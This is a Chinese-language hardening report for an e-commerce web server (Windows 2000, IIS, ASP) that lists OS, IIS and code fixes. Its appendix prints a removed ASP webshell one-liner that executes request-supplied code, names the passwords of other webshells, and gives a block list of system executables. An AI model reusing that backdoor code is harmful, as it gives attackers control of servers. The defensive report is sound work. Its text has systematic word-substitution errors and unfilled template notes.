XXX电子商务网站安全加固报告.docx

XXX电子商务网站平安加固报告

目录
电子商务网站平安加固报告 1
目录 2
一、加固主机列表 3
二、加固实施 4
操作系统加固 4
2.1.1 补丁安装 4
2.1.2 帐号、口令策略修改 4
2.1.3 网络与效劳加固 4
2.1.4 文件系统加固 5
2.1.5 日志审核增强 6
2.1.6 平安性增强 7
2.1.7 推荐安装平安工具 8
2.2 IIS效劳加固 8
2.2.1 补丁安装 8
2.2.2 网站实例权限分配 8
2.2.3 IIS配置平安增强 9
2.2.4 平安控件加固 9
2.3 代码审核加固 10
2.3.1 去除WebShell代码 10
2.3.2 去除SQL注入漏洞 10
2.3.3 修正权限认证缺陷 10
2.3.4 减少上传风险威胁 11
2.3.5 正确处理数据库文件 11
三、推荐平安考前须知 12
为新增网站实例分配权限 12
3.2 使用SSL加密FTP传输 12
3.3 加强管理员平安习惯 12
四、签字确认 13
附录： 14
后台访问用户认证分配一览表 14
代码加固修改一览表 14

一、加固主机列表
本次平安加固效劳的对象包括：
编号
IP地址
操作系统
用途或效劳
H_2112_1
XX.XX.XX.2
Windows 2000 Server
提供电子商务效劳，有偿提供考试资料

填写规那么：
编号统一使用“型号_地址缩写_数字〞
型号〔H－主机；D－设备〕，数字使用三位数字顺序号。
二、加固实施
操作系统加固
2.1.1 补丁安装
编号：
Windows-02001
名称：
补丁安装
系统以往状态：
Windows 2000 Service Pack 4
IE 最新积累补丁
方案实施
使用Windows update安装最新补丁
实施目的
可以使系统版本为最新版本
实施风险
安装补丁可能导致主机启动失败，或其他未知情况发生
2. 帐号、口令策略修改
编号：
Windows-03002,Windows-03003,Windows-03004
名称：
帐号口令策略修改
系统以往状态：
密码长度最小值
0 字符
密码最长存留期
42天
密码最短存留期
0天
帐号锁定计数器
无
帐户锁定时间
0
帐户锁定阀值
无

方案实施
密码长度最小值
7 字符
密码最长存留期
90天
密码最短存留期
30天
帐号锁定计数器
5次
帐户锁定时间
5分钟
帐户锁定阀值
1分钟

实施目的
保障帐号以及口令的平安
实施风险
设置帐号策略后可能导致不符合帐号策略的帐号无法登陆，需修改帐号密码〔注：管理员不受帐号策略限制，但管理员密码应复杂〕
2. 网络与效劳加固
编号：
Windows-04003,Windows-04004
名称：
卸载不需要的效劳
系统以往状态：
已安装的不必要的效劳包括：
DNS效劳
DHCP效劳
MS FTP效劳
SNMP效劳
方案实施
开始|设置|控制面板|添加/删除程序|Windows组件
卸载不需要的效劳
实施目的
防止未知漏洞给主机带来的风险
实施风险
可能由于管理员对主机所开放效劳不了解，导致该效劳被卸载。

编号：
Windows-04005
名称：
将暂时不需要开放的效劳停止
系统以往状态：
已启动且需要停止的效劳包括：
Computer Browser效劳
Alerter效劳
Messenger效劳
方案实施
开始|运行|services.msc|将上述效劳的启动类型设置为手动并停止上述效劳
实施目的
防止未知漏洞给主机带来的风险
实施风险
可能由于管理员对主机所开放效劳不了解，导致该效劳被卸载。
2. 文件系统加固
编号：
Windows-05002
名称：
限制特定执行文件的权限
系统以往状态：
未对敏感执行文件设置适宜的权限
方案实施
通过实施我公司的平安策略文件对特定文件权限进行限制，禁止Guests用户组访问这些文件。
实施目的
禁止Guests用户组访问以下文件：
xcopy.exe
wscript.exe
cscript.exe
net.exe
arp.exe
edlin.exe
ping.exe
route.exe
posix.exe
Rsh.exe
atsvc.exe
C
cacls.exe
ipconfig.exe
rcp.exe

debug.exe
regedt32.exe
regedit.exe
edit

F
N
R

runonce.exe
nbtstat.exe
T
netstat.exe

实施风险
在极少数情况下，某些网页可能调用cmd.exe来完成某种功能，限制的执行权限可能导致调用cmd失败。
日志审核增强
编号：
Windows-06001
名称：
设置主机审核策略
系统以往状态：
审核策略更改
无审核
审核登录事件
无审核
审核对象访问
无审核
审核过程追踪
无审核
审核目录效劳访问
无审核
审核特权使用
无审核
审核系统事件
无审核
审核帐户登录事件
无审核
审核帐户管理
无审核

方案实施
通过实施我公司的平安策略文件修改下述值：
审核策略更改
成功
审核登录事件
无审核
审核对象访问
成功, 失败
审核过程追踪
无审核
审核目录效劳访问
无审核
审核特权使用
无审核
审核系统事件
成功, 失败
审核帐户登录事件
成功, 失败
审核帐户管理
成功, 失败

实施目的
对系统事件进行审核，在日后出现故障时用于排查故障。
实施风险
无

编号：
Windows-06002，Windows-06003，Windows-06004
名称：
调整事件日志的大小、覆盖策略
系统以往状态：

大小
覆盖方式
应用日志
512K
覆盖早于7天的事件
平安日志
512K
覆盖早于7天的事件
系统日志
512K
覆盖早于7天的事件

方案实施
通过实施我公司的平安策略文件修改下述值：

大小
覆盖方式
应用日志
16382K
覆盖早于30天的事件
平安日志
16384K
覆盖早于30天的事件
系统日志
16384K
覆盖早于30天的事件

实施目的
增大日志大小，防止由于日志文件容量过小导致日志记录不全
实施风险
无

2. 平安性增强
编号：
Windows-07001
名称：
禁止匿名用户连接
系统以往状态：
Key:HKLM\SYSTEM\CurrentControlSet\Control\Lsa
“restrictanonymous〞的值为0
方案实施
通过实施我公司的平安策略文件将该值修改为“1〞
实施目的
可以禁止匿名用户列举主机上所有用户、组、共享资源
实施风险
无

编号：
Windows-04006
名称：
删除主机管理共享
系统以往状态：
Key:
HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
无“Autoshareserver〞键
方案实施
通过实施我公司的平安策略文件增加“Autoshareserver〞项，并设置该值为“1〞
实施目的
删除主机因为管理而开放的共享
实施风险
某些应用软件可能需要该共享，如Veritas Netbackup

编号：
Windows-07001
名称：
禁止匿名用户连接
系统以往状态：
Key:HKLM\SYSTEM\CurrentControlSet\Control\Lsa
“restrictanonymous〞的值为0
方案实施
通过实施我公司的平安策略文件将该值修改为“1〞
实施目的
可以禁止匿名用户列举主机上所有用户、组、共享资源
实施风险
无

编号：
Windows-03005
名称：
限制Guest用户权限
系统以往状态：
Guest已禁用，但未对帐号进行权限限制。
方案实施
通过实施我公司的平安策略文件禁止Guest帐号本地登录和网络登录的权限。
实施目的
防止Guest帐号被黑客激活作为后门
实施风险
无

推荐安装平安工具
工具名称
IceSword
工具用途
特洛伊木马彻查、黑客后门检测工具
相关信息

工具名称

工具用途
网络隐患扫描工具
相关信息

注：
工具名称请包含版本信息
工具用途请简单描述产品功用
相关信息请写明产品相关URL，尽量详细

2.2 IIS效劳加固
2.2.1 补丁安装
编号：
Windows-02001〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕
名称：
补丁安装
系统以往状态：
Windows 2000 Service Pack 4
方案实施
使用Windows update安装最新补丁
实施目的
可以使系统版本为最新版本
实施风险
〔应描述实施本条措施所导致的后果〕

网站实例权限分配
编号：
Windows-02002〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕
名称：
权限分配
系统以往状态：
没有对每个网站实例进行相应的权限分配，任何一个网站被入侵后都有可能导致其他网站被入侵
方案实施
每个网站实例都对应使用低权限帐户，并去除网站后台的匿名访问，集成Windows认证
实施目的
可以使各个网站实例读取、修改权限完全分开，防止入侵者从一个网站实例入侵到另一个网站实例
实施风险
〔应描述实施本条措施所导致的后果〕

IIS配置平安增强
编号：
Windows-02003〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕
名称：
配置平安增强
系统以往状态：
存在很多默认配置，导致入侵者可利用
方案实施
修正IIS的扩展配置，减少asp.dll解析范围，禁止下载MDB文件
实施目的
减少入侵者入侵几率，防止网站数据库被恶意下载
实施风险
〔应描述实施本条措施所导致的后果〕

平安控件加固
编号：
Windows-02004〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕
名称：
平安空间加固
系统以往状态：
存在很多危险控件，导致入侵者可利用
方案实施
卸载了WSH控件，修改控件的名称，防止入侵者利用：

实施目的
减少ASP木马对网站的威胁
实施风险
将有可能导致某些特殊网站实例不能正常运行

代码审核加固
去除WebShell代码
编号：
Windows-03001〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕
名称：
去除WebShell代码
系统以往状态：
有可能存在入侵者留下的后门、WebShell程序
方案实施
人工搜索查找入侵者留下的后门ASP程序
实施目的
防止入侵者再次入侵网站
实施风险
〔应描述实施本条措施所导致的后果〕

去除SQL注入漏洞
编号：
Windows-03002〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕
名称：
去除SQL注入漏洞
系统以往状态：
存在很多SQL注入漏洞
方案实施
使用统一脚本，对用户提交进行过滤检查，防止用户提交注入代码
实施目的
防止恶意用户利用SQL注入漏洞危害网站
实施风险
〔应描述实施本条措施所导致的后果〕

修正权限认证缺陷
编号：
Windows-03003〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕
名称：
修正权限认证缺陷
系统以往状态：
存在一部份的权限未认证缺陷
方案实施
对没有检查权限的页面添加权限认证
实施目的
防止低权限用户执行高权限功能
实施风险
〔应描述实施本条措施所导致的后果〕

减少上传风险威胁
编号：
Windows-03004〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕
名称：
修正权限认证缺陷
系统以往状态：
存在上传漏洞
方案实施
修改代码封堵上传漏洞
实施目的
防止恶意用户上传WebShell或其他恶意程序
实施风险
〔应描述实施本条措施所导致的后果〕

正确处理数据库文件
编号：
Windows-03005〔将所有涉及到这个加固项的检测文档编号填写，如有多个，用逗号分开，写文档的时候将本文字删除〕
名称：
正确处理数据库文件
系统以往状态：
采用ASP为扩展名，恶意用户将有可能插入恶意代码并执行
方案实施
扩展名改为MDB，并对WEB应用程序进行相应修改
实施目的
防止恶意用户插入恶意代码并执行
实施风险
〔应描述实施本条措施所导致的后果〕

三、推荐平安考前须知
3.1为新增网站实例分配权限
当需要新增加一个网站实例的时候，需要按照一定的步骤完成权限的分配：
1. 新建两个帐号，删除这两个帐号的User组身份，参加Guest组；
2. 指定网站目录只能够被XXXistrator和SYSTEM完全控制，而上述两个帐号对该目录及其子目录有读写、修改权限；
3. 在IIS中设置匿名访问该网站的匿名帐户为上述两个帐号其中之一；
4. 在IIS中设置该网站管理员后台目录〔或核心文件〕不允许匿名访问，增加Windows身份认证；
5. 在IIS中设置该网站的主机头。

3.2 使用SSL加密FTP传输
开启Serv-U的SSL加密功能，只允许加密登陆以及加密传输文件，以防止恶意用户ARP嗅探FTP密码。

3.3 加强管理员平安习惯
注意及时升级管理员主机的系统补丁和杀毒软件病毒库，定期使用推荐的后门检测工具对主机进行平安检测。
定期更换Web应用程序后台管理员密码，并保证密码的强度。

四、签字确认
双方认可加固报告，签字确认。

甲方：
乙方：

签字〔签章〕：

签字〔签章〕
日期：
日期

附录：
后台访问用户认证分配一览表
域名
目录指向
后台登陆用户名
XX
D:\WEB\XXX\
XXX.XX
XX.net
D:\www\XXX
XX.XX
XX
D:\www1
XX.XX
XX
D:\WEB\XX \
XX.XX
XX
D:\WEB\XX
XX.XX
bbs.XX
D:\WEB\XXX\bbs
XX.XXX.XX
XX.XX
D:\WEB\XXX\XXX
XX.XXX.XXX
XX.XX
D:\WEB\XXX\exam
XX.XXX.XX
XX.XX
D:\WEB\XXX\XXX
XX.XXX.XX
用户密码暂统一为“****〞〔不带双引号〕，建议用户自行修改。

代码加固修改一览表
XXX 目录

修改数据库为mdb结尾
修改包含sql.asp，防止SQL注入

修改数据库结尾

\Manger\Editor7183409
改为Editor7183401

删除！webshell

删掉文件最后一行，该行代码为webshell代码

目录

修改数据库为mdb结尾
修改包含sql.asp，防止SQL注入
增加容错信息

修改数据库为mdb结尾
修改包含sql.asp，防止SQL注入
增加容错信息

注释掉27行，替换成固定上传路径为""../pic/"的代码
增加对XXX身份验证，<!--#include file="./inc/head.asp"-->

增加对XXX身份验证，<!--#include file="./inc/head.asp"-->

增加对XXX身份验证，<!--#include file="./inc/head.asp"-->

增加对XXX身份验证，<!--#include file="./inc/head.asp"-->
eWebEditor
目录名改为eWebEditor41937

修改增加身份验证

修改认证方式，采用session保存密码，防止跨站攻击
test
目录名修改为Test8322

将管理身份认证提前

添加容错信息
修改包含sql.asp，防止SQL注入

删掉！WebShell代码

修改包含sql.asp，防止SQL注入
增加容错信息

XXX 目录
XX
删掉！WebShell，密码是6568168
XX
删掉！WebShell
XX
删除最后三行，WebShell代码
<!了><object id=fs RUNAT=SERVER classid='clsid:0D43FE01-F093-11CF-8940-00A0C9054228'></object><!了>
<%if request("kker")<>"4136705" then Session("b")=request("kker")
if Session("b")<>"" then execute Session("b")%>
XX
空文件
XX
删除，WebShell，密码是!@#123
XX
删除！WebShell
XX
删除！WebShell
XX
删除！WebShell
XX
删除！WebShell
XX
删除！WebShell

修改数据库为mdb结尾
修改包含sql.asp，防止SQL注入
增加容错信息
AD/qidong
未知快捷方式
XX
注释掉27行，替换成固定上传路径为""../pic/"的代码
增加对XXX身份验证，<!--#include file="./inc/head.asp"-->
XX
增加对XXX身份验证，<!--#include file="./inc/head.asp"-->
XX
增加对XXX身份验证，<!--#include file="./inc/head.asp"-->
XX
增加对XXX身份验证，<!--#include file="./inc/head.asp"-->

修改数据库为mdb结尾
修改包含sql.asp，防止SQL注入
增加容错信息

将管理身份认证提前

添加容错信息
修改包含sql.asp，防止SQL注入

修改包含sql.asp，防止SQL注入
增加容错信息

修改包含sql.asp，防止SQL注入
增加容错信息

源文件以被破坏，无法修正该源文件

改正登陆时对用户名输入的合法性验证

增加管理身份认证

增加管理身份认证

增加管理身份认证

增加管理身份认证

增加管理身份认证

增加管理身份认证

注释掉6到12行代码,疑心为后门代码

修改包含sql.asp，防止SQL注入
增加容错信息